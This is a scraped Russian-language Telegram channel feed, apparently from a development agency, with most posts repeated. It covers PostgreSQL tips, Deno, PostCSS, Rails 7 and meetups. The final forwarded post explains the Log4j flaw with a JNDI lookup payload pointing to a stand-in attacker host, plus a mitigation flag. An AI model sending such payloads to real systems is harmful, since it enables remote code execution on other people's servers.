«Скрытые» возможности и трюки PostgreSQL — то, что было в нём всегда, но мало кто знал:
• как определить, что вставилось, а что обновилось в upsert, используя знания об устройстве MVCC в PostgreSQL
• как быстро добавлять проверки в таблицы, чтобы не блокировать таблицу надолго (спойлер: опция
• как добавлять комментарии к любым объектам в базе данных (кстати, в Ruby on Rails комментарии можно добавлять прямо в DSL миграций, начиная с версии 5.0)
• как перестать сочинять многоэтажные условия и начать легко сравнивать диапазоны с помощью оператора
Это и многое другое читайте здесь: hakibenita.com/postgresql-unknown-features
• как определить, что вставилось, а что обновилось в upsert, используя знания об устройстве MVCC в PostgreSQL
• как быстро добавлять проверки в таблицы, чтобы не блокировать таблицу надолго (спойлер: опция
NOT VALID у внешних ключей и CHECK-констрейнтов)• как добавлять комментарии к любым объектам в базе данных (кстати, в Ruby on Rails комментарии можно добавлять прямо в DSL миграций, начиная с версии 5.0)
• как перестать сочинять многоэтажные условия и начать легко сравнивать диапазоны с помощью оператора
OVERLAPS Это и многое другое читайте здесь: hakibenita.com/postgresql-unknown-features
Конференции снова уходят в онлайн, но в этом есть и плюс — принять участие теперь можно откуда угодно!
Например, завтра пройдёт большая (и бесплатная) конференция для веб-разработчиков ITeaConf, где марсианин Владимир Дементьев расскажет о том, как поживает Ruby:
http://amp.gs/jYYOX
Например, завтра пройдёт большая (и бесплатная) конференция для веб-разработчиков ITeaConf, где марсианин Владимир Дементьев расскажет о том, как поживает Ruby:
http://amp.gs/jYYOX
⌛ В Марсианском блоге бэкенд-инженер Миша Меркушин отвечает на своевременный вопрос: как эффективно работать с временными данными в Ruby on Rails-приложениях?
Наше решение: TimescaleDB! А почему — читайте в нашей новой статье:
http://amp.gs/jYBAD
Наше решение: TimescaleDB! А почему — читайте в нашей новой статье:
http://amp.gs/jYBAD
👍1
Slack запускает приватную бету Platform API (на котором работают Slack apps) и API основан на Deno!
http://amp.gs/jYCfd
http://amp.gs/jYCfO
Deno — это JS-рантайм на основе V8, написанный на Rust. Он из коробки поддерживает TypeScript и использует «безопасный по умолчанию подход», запрещающий доступ к файловой системе и сети без явного разрешения.
Киллер-фича Deno в подобных приложениях — это именно изоляция и безопасность по умолчанию.
http://amp.gs/jYCfd
http://amp.gs/jYCfO
Deno — это JS-рантайм на основе V8, написанный на Rust. Он из коробки поддерживает TypeScript и использует «безопасный по умолчанию подход», запрещающий доступ к файловой системе и сети без явного разрешения.
Киллер-фича Deno в подобных приложениях — это именно изоляция и безопасность по умолчанию.
Выпустили финальный релиз imgproxy 3.0, последней версии нашего инструмента для быстрой и безопасной обработки изображений.
В релиз включены предложения и замечания участников программы Early Access, за что им большое человеческое спасибо!
Подробнее: http://amp.gs/jYR9U
В релиз включены предложения и замечания участников программы Early Access, за что им большое человеческое спасибо!
Подробнее: http://amp.gs/jYR9U
This media is not supported in your browser
VIEW IN TELEGRAM
🚀 На этой неделе в марсианском блоге продуктовый дизайнер Глеб Строганов и аккаунт-менеджер Антон Сеньковский рассказывают о фирменных, марсианских дизайн-спринтах.
Это персонализированный подход для совсем новых или уже работающих проектов, который включает экспертный анализ, полезные артефакты и, фактически, формирует роадмап по дизайну и даже разработке.
http://amp.gs/jYdd9
Это персонализированный подход для совсем новых или уже работающих проектов, который включает экспертный анализ, полезные артефакты и, фактически, формирует роадмап по дизайну и даже разработке.
http://amp.gs/jYdd9
У Марсианина Андрея Ситника хорошие новости про PostCSS — вышла новая версия с несколькими существенными улучшениями:
— Добавили промежуток символов для предупреждений и ошибок.
— Убрали предупреждение «PostCSS does nothing» — теперь мы просто не парсим CSS без плагинов.
— Уменьшили размер postcss в node_modules с 1 МБ до 0,3.
Больше деталей: http://amp.gs/jYSmf
— Добавили промежуток символов для предупреждений и ошибок.
— Убрали предупреждение «PostCSS does nothing» — теперь мы просто не парсим CSS без плагинов.
— Уменьшили размер postcss в node_modules с 1 МБ до 0,3.
Больше деталей: http://amp.gs/jYSmf
В ближайший четверг, 2 декабря, в 19:00, марсиане выступают на питерском онлайн-митапе аж с двумя докладами про базы данных.
Дмитрий Цепелев расскажет про MVCC, зачем он нужен и чем мешает.
Андрей Новиков — про индексы и их применимость в различных ситуациях.
Регистрация: kommunity.com/saintpruby/events/fall-2021-meetup-26df1ea3
Дмитрий Цепелев расскажет про MVCC, зачем он нужен и чем мешает.
Андрей Новиков — про индексы и их применимость в различных ситуациях.
Регистрация: kommunity.com/saintpruby/events/fall-2021-meetup-26df1ea3
Kommunity
Winter Saint P 2021 meetup
Народ, 4 докладчика: Илья Зыкин. 5 лет ремоутаЕвгений Масленков. Event based notification systemДмитрий Цепелев. Как и зачем MVCC мешает нам пользоваться базой
В JetBrains анонсировали свой легковесный редактор Fleet.
С помощью изначально распределённой архитектуры, совместного редактирования файлов и использования терминалов, language server protocol и «безголовых» инстансов intelliJ на «бэкенде», а также переключения между режимами «просто редактора» и «IDE для всего» нам обещают создать новый удобный редактор на все случаи жизни.
Но что удивительно — это IDE не на браузерных технологиях!
Клуб «облачных сред разработки» в котором уже есть, например, GitHub Codespaces и StackBlitz, пополняется, и в скором времени конкуренция обещает быть жаркой.
С помощью изначально распределённой архитектуры, совместного редактирования файлов и использования терминалов, language server protocol и «безголовых» инстансов intelliJ на «бэкенде», а также переключения между режимами «просто редактора» и «IDE для всего» нам обещают создать новый удобный редактор на все случаи жизни.
Но что удивительно — это IDE не на браузерных технологиях!
Клуб «облачных сред разработки» в котором уже есть, например, GitHub Codespaces и StackBlitz, пополняется, и в скором времени конкуренция обещает быть жаркой.
Нам часто пишут: «Хочу работать на Марсе, но у меня недостаточно опыта в коммерческой разработке/нет своих OSS-проектов». А то и «я недостаточно хорош или хороша для вас». Мы слышали это даже от тех, кто сейчас работает в Марсианской команде.
Что может компенсировать недостаточный опыт или неуверенность?
— Вы по-настоящему любите технологии и готовы — учиться (расскажите нам об этом!)
— Вы помогали open source сообществу
— Вы выступали на каких-то релевантных ивентах или писали статьи
— Вы решали задачки из Cult of Martians
Мы принимаем во внимание все!
Ruby Backend Engineer: http://amp.gs/jYJkU
Фронтенд-разработчик: http://amp.gs/jYJkd
Что может компенсировать недостаточный опыт или неуверенность?
— Вы по-настоящему любите технологии и готовы — учиться (расскажите нам об этом!)
— Вы помогали open source сообществу
— Вы выступали на каких-то релевантных ивентах или писали статьи
— Вы решали задачки из Cult of Martians
Мы принимаем во внимание все!
Ruby Backend Engineer: http://amp.gs/jYJkU
Фронтенд-разработчик: http://amp.gs/jYJkd
На этой неделе в марсианском блоге Владимир Дементьев изучает Kuby, новый инструмент, который помогает деплоить Rails-приложения в Kubernetes без лишних нервов и YAML-ов.
Также в статье можно познакомиться с нашим новым опенсорс-проектом — плагином Kuby AnyCable, который позволяет в пару строчек кода установить все необходимые компоненты AnyCable в Kubernetes кластер.
http://amp.gs/jYK3b
Также в статье можно познакомиться с нашим новым опенсорс-проектом — плагином Kuby AnyCable, который позволяет в пару строчек кода установить все необходимые компоненты AnyCable в Kubernetes кластер.
http://amp.gs/jYK3b
Меньше часа осталось до старта онлайн-митапа Winter Saint P 2021 Meetup, где выступают сразу двое марсиан (и оба с докладами про базы данных): Дмитрий Цепелев и Андрей Новиков.
Регистрация и ссылка на Zoom: kommunity.com/saintpruby/events/fall-2021-meetup-26df1ea3
Регистрация и ссылка на Zoom: kommunity.com/saintpruby/events/fall-2021-meetup-26df1ea3
Kommunity
Winter Saint P 2021 meetup
Народ, 4 докладчика: Илья Зыкин. 5 лет ремоутаЕвгений Масленков. Event based notification systemДмитрий Цепелев. Как и зачем MVCC мешает нам пользоваться базой
Праздник к нам приходит, а с ним и ежегодный челлендж Advent of Code!
Небольшие задачки для разминки и новогоднего настроения каждый день в течение декабря вплоть до 25 декабря. 🎄
http://amp.gs/jYwoI
Небольшие задачки для разминки и новогоднего настроения каждый день в течение декабря вплоть до 25 декабря. 🎄
http://amp.gs/jYwoI
Интересные мысли о настоящем и будущем программирования от Алана Кея — автора Smalltalk, одного из изобретателей ООП и GUI и вообще живой легенды:
https://www.youtube.com/watch?v=D43PlUr1x_E
https://www.youtube.com/watch?v=D43PlUr1x_E
Вышел первый релиз-кандидат Ruby on Rails 7.0 (🎁🎄)
В комплекте:
• новый подход к работе с JS: можно совсем без сборщиков, используя ESM, Hotwire, Turbo, а можно со сборщиком, причём на выбор: esbuild, rollup.js или Webpack. И CSS-фреймворк можно выбрать (PostCSS, Tailwind CSS и другие).
• шифрованные атрибуты в БД «из коробки»
• возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
• и многое другое.
Кстати, в ченджлоге есть даже парочка марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage и #40491 Выражение FILTER (SQL:2003) в Arel.
Подробнее у фреймворка в блоге: weblog.rubyonrails.org/2021/12/6/Rails-7-0-rc-1-released
В комплекте:
• новый подход к работе с JS: можно совсем без сборщиков, используя ESM, Hotwire, Turbo, а можно со сборщиком, причём на выбор: esbuild, rollup.js или Webpack. И CSS-фреймворк можно выбрать (PostCSS, Tailwind CSS и другие).
• шифрованные атрибуты в БД «из коробки»
• возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
• и многое другое.
Кстати, в ченджлоге есть даже парочка марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage и #40491 Выражение FILTER (SQL:2003) в Arel.
Подробнее у фреймворка в блоге: weblog.rubyonrails.org/2021/12/6/Rails-7-0-rc-1-released
В поисках жизни в Солнечной системе лаборатория NASA Jet Propulsion Labs использует платформу Labelbox и ее machine learning-алгоритмы. А эту платформу, в свою очередь, поддерживают инструменты, один из которых — наш марсианский продукт imgproxy Pro.
Злые Марсиане ищут добрых, получается.
http://amp.gs/jYbZ6
Злые Марсиане ищут добрых, получается.
http://amp.gs/jYbZ6
Авторы Macaw, Swift-библиотеки для работы с SVG, подарили миру Apple-разработчиков SVGView — парсер и рендерер SVG-файлов на SwiftUI.
http://amp.gs/jYb73
http://amp.gs/jYb73
Злая Марсианка Вика Мельникова обсудила тонкости найма команды продуктовой разработки на подкасте #TechForNonTechies с Софией Матвеевой. Автор подкаста — ментор и создатель Enty, в разработке которого нам довелось поучаствовать.
http://amp.gs/jtjfg
http://amp.gs/jtjfg
Рассказываем об одном из самых крутых мобильных кейсов Марсиан — о том, как в качестве технической команды с нуля создавали FEED, новую социальную сеть, в основе которой видео и только видео со множеством эффектов (и никакого текста!).
При работе над iOS приложением поработали с последними технологиями с мобильного фронта, включающими Swift, SwiftUI, Combine, Compositional Layout, Core ML, GraphQL, социальные механики и множество фич для встроенного видео-редактора.
http://amp.gs/jt8qx
При работе над iOS приложением поработали с последними технологиями с мобильного фронта, включающими Swift, SwiftUI, Combine, Compositional Layout, Core ML, GraphQL, социальные механики и множество фич для встроенного видео-редактора.
http://amp.gs/jt8qx
Неделю назад прошёл Saint P Ruby Winter 2021 meetup. Видео с него уже доступно на YouTube вместе с докладами марсиан!
Доклад Дмитрия Цепелева про мультиверсионность в базах данных начинается с 36:35, а доклад Андрея Новикова про индексы в них же — с 1:05:05.
Наслаждайтесь: youtu.be/BhI2BnOTrQs
Вопросы по докладам не стесняйтесь спрашивать в чате питерского Ruby-сообщества @saintprug — авторы там есть и активно участвуют, хоть сами и не из Санкт-Петербурга.
Доклад Дмитрия Цепелева про мультиверсионность в базах данных начинается с 36:35, а доклад Андрея Новикова про индексы в них же — с 1:05:05.
Наслаждайтесь: youtu.be/BhI2BnOTrQs
Вопросы по докладам не стесняйтесь спрашивать в чате питерского Ruby-сообщества @saintprug — авторы там есть и активно участвуют, хоть сами и не из Санкт-Петербурга.
Forwarded from Кавычка (Bo0oM)
У половины интернета нашли выполнение произвольного кода через Log4j.
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).